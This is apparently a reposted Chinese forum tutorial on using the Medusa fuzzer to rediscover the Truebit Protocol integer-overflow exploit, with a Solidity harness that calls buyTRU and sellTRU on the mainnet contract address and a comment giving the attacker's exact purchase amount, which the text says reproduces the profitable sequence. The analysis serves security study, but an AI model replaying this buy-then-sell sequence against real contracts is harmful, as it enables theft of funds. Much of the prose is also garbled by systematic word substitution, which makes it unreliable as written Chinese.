马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。
您需要 登录 才可以下载或查看,没有账号?立即注册
×
案例配景
20260109,ETH 链上的 Truebit Protocol 遭受了黑客攻击,丧失信 2600 万美元。毛病缘故起因是盘算购买 TRU 代币所须要的 ETH 数目的盘算公式计划存在缺陷,购买大量 TRU 代币时会由于 0.6.10 版本没有防溢出机制而发生上溢出得到 0 值,使得攻击者可以以 0 ETH 购买大量的 TRU 代币,末了抛售完成赢利。
前置内容-完备攻击分析:
Trace 分析
- 黑客调用 buyTRU() 函数以零资本购入大量的 TRU 代币
- 然后调用 sellTRU() 函数卖出全部 TRU 代币完成赢利
随后攻击者使用毛病以零或极低资本的代价购买 TRU 代币后出售的流程重复多次。
Medusa 设置
起首参考《Medusa - 智能合约 Fuzzing 工具先容与案例解说》中的内容对 Medusa 举行初始化与设置。
Fuzz 函数挑选与实现
Fuzz 函数挑选
在编写 fuzz 函数之前,起主要挑选须要对哪些函数举行 fuzz,可以按照以下的条件举行筛选:
- public 或 external 的函数
- 非 view 和 prue 的函数
- 没有权限访问控制的函数
- 非一次性调用的函数(如 initialize)
此中满意以上条件的函数有
- - `0xa0296215(uint256)`(购买/铸造路径:依赖 `msg.value` 与定价计算,容易出现边界值/除零/舍入问题)
- - `0xc471b10b(uint256)`(赎回/燃烧路径:依赖 `allowance`、`transferFrom`、对外部合约调用与 ETH 转账,容易出现重入/资金守恒/状态不一致问题)
- - `0xdb5c0f79()`(`payable` 增加储备:fuzz `msg.value` 与多次调用组合)
复制代码 Fuzz 函数实现
在 TRUVulnerabilityFuzz 合约中,实现了对 0xa0296215(buyTRU(uint256 amount)) 和 0xc471b10b(sellTRU(uint256 amount)) 两个未开源函数的 fuzz,以及一个查抄函数 property_checkBalance()
- 0xa0296215(buyTRU(uint256 amount):须要调用 getPurchasePrice 函数(反编译的时间提供了函数名)盘算对应的 msg.value ,伴随函数调用传入。
- 0xc471b10b(sellTRU(uint256 amount)) :直接提供卖出的 TRU 代币数目,须要实现 receive 函数吸取返回的 ETH 代币。但是在 fuzz 过程中 Medusa 会实验往 receive 函数中转账,以是要添加权限控制。
- property 函数则查抄了合约的余额(初始值为 1e28)颠末 sequence 利用后是否增长,假如增长则判定发现了赢利的途径。
- contract TRUVulnerabilityFuzz is Test {
- IStdCheats cheats = IStdCheats(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
- address public TruebitProtocol = 0x764C64b2A09b09Acb100B80d8c505Aa6a0302EF2;
- address TRU = 0xf65B5C5104c4faFD4b709d9D60a185eAE063276c;
- constructor() payable {
- cheats.deal(address(this), 1e28);
- IERC20(TRU).approve(TruebitProtocol, type(uint256).max);
- }
- // fuzz buyTRU(uint256 amount)
- function fuzz_0xa0296215(uint256 fuzz_amount) public {
- // TruebitProtocol will check msg.value == getPurchasePrice(fuzz_amount) in 0xa0296215().
- // fuzz_amount = 240442509453545333947284131; // Amount used by hacker
- uint256 ethAmount = ITruebitProtocol(TruebitProtocol).getPurchasePrice(fuzz_amount);
- if (ethAmount > address(this).balance) return;
- (bool ok,) = TruebitProtocol.call{value: ethAmount}(abi.encodeWithSelector(bytes4(0xa0296215), fuzz_amount));
- require(ok, "Failed to call 0xa0296215");
- }
- // fuzz sellTRU(uint256 amount)
- function fuzz_0xc471b10b(uint256 fuzz_amount) public {
- // 0xc471b10b() is nonPayable
-
- (bool ok,) = TruebitProtocol.call(abi.encodeWithSelector(bytes4(0xc471b10b), fuzz_amount));
- require(ok, "Failed to call 0xc471b10b");
- }
- // function fuzz_0xdb5c0f79(uint256 fuzz_value) public {
- // fuzz_value = fuzz_value > address(this).balance ? address(this).balance : fuzz_value;
- // (bool ok,) = TruebitProtocol.call{value: fuzz_value}(abi.encodeWithSelector(bytes4(0xdb5c0f79)));
- // require(ok, "Failed to call 0xdb5c0f79");
- // }
- function property_checkBalance() external view returns (bool) {
- if (address(this).balance > 1e28) assert(false);
- return true;
- }
- // While fuzzing, the fuzzer will send ETH to the contract.
- receive() external payable {
- if (msg.sender != TruebitProtocol) revert();
- }
- }
复制代码 0xa0296215(buyTRU(uint256 amount)
在编写 fuzz 函数的时间,须要关注反编译代码中的 require 函数,尽大概地使得输入的参数满意函数要求,是可以大概正常实验的,如许会大幅进步掷中的概率。好比在 0xa0296215 函数中,须要查抄 msg.value 是否和盘算的到的 v0 同等,而函数 0x1446 就是一个代价盘算函数。
以是在实现 fuzz 函数的时间,须要先通过 getPurchasePrice(0x1446)盘算所须要传入的 msg.value,然后再举行调用。- // fuzz buyTRU(uint256 amount)
- function fuzz_0xa0296215(uint256 fuzz_amount) public {
- // TruebitProtocol will check msg.value == getPurchasePrice(fuzz_amount) in 0xa0296215().
- // fuzz_amount = 240442509453545333947284131; // Amount used by hacker
- uint256 ethAmount = ITruebitProtocol(TruebitProtocol).getPurchasePrice(fuzz_amount);
- if (ethAmount > address(this).balance) return;
- (bool ok,) = TruebitProtocol.call{value: ethAmount}(abi.encodeWithSelector(bytes4(0xa0296215), fuzz_amount));
- require(ok, "Failed to call 0xa0296215");
- }
复制代码 0xc471b10b(sellTRU(uint256 amount))
在编写 0xc471b10b 对应的 fuzz 函数时,查抄反编译的内容,须要留意的是 nonPayable 修饰器,尚有对授权额度的查抄。
以是在 constructor 对代币举行了最大额度的授权,然后 call 函数制止带有 msg.value。- constructor() payable {
- cheats.deal(address(this), 1e28);
- IERC20(TRU).approve(TruebitProtocol, type(uint256).max);
- }
- // fuzz sellTRU(uint256 amount)
- function fuzz_0xc471b10b(uint256 fuzz_amount) public {
- // 0xc471b10b() is nonPayable
-
- (bool ok,) = TruebitProtocol.call(abi.encodeWithSelector(bytes4(0xc471b10b), fuzz_amount));
- require(ok, "Failed to call 0xc471b10b");
- }
复制代码 结果分析
由于呆板硬件与时间的限定,未能实际 fuzz 出结果
为了验证 fuzz 函数写的时没有标题标,实验硬编码 fuzz_amount 为攻击者所接纳的参数,可以立即得到结果。
体现 fuzz 出来满意条件的 sequence 路径如下,和攻击者实验的利用同等。
通过本案例是实践,得到的结论是,Fuzz 工程除了须要开辟者非常相识目的协议,尽大概地编写出高效的测试函数,还须要高性能的呆板来提供支持。信任通过这两个入门级的案例,也可以大概让读者相识到,fuzz 并不是什么“灵丹灵药”。固然它在实际应用中有着一些范围,但是在履历丰富的开辟者和强大的呆板支持下,仍旧是一个发掘未知毛病的可行之法。
|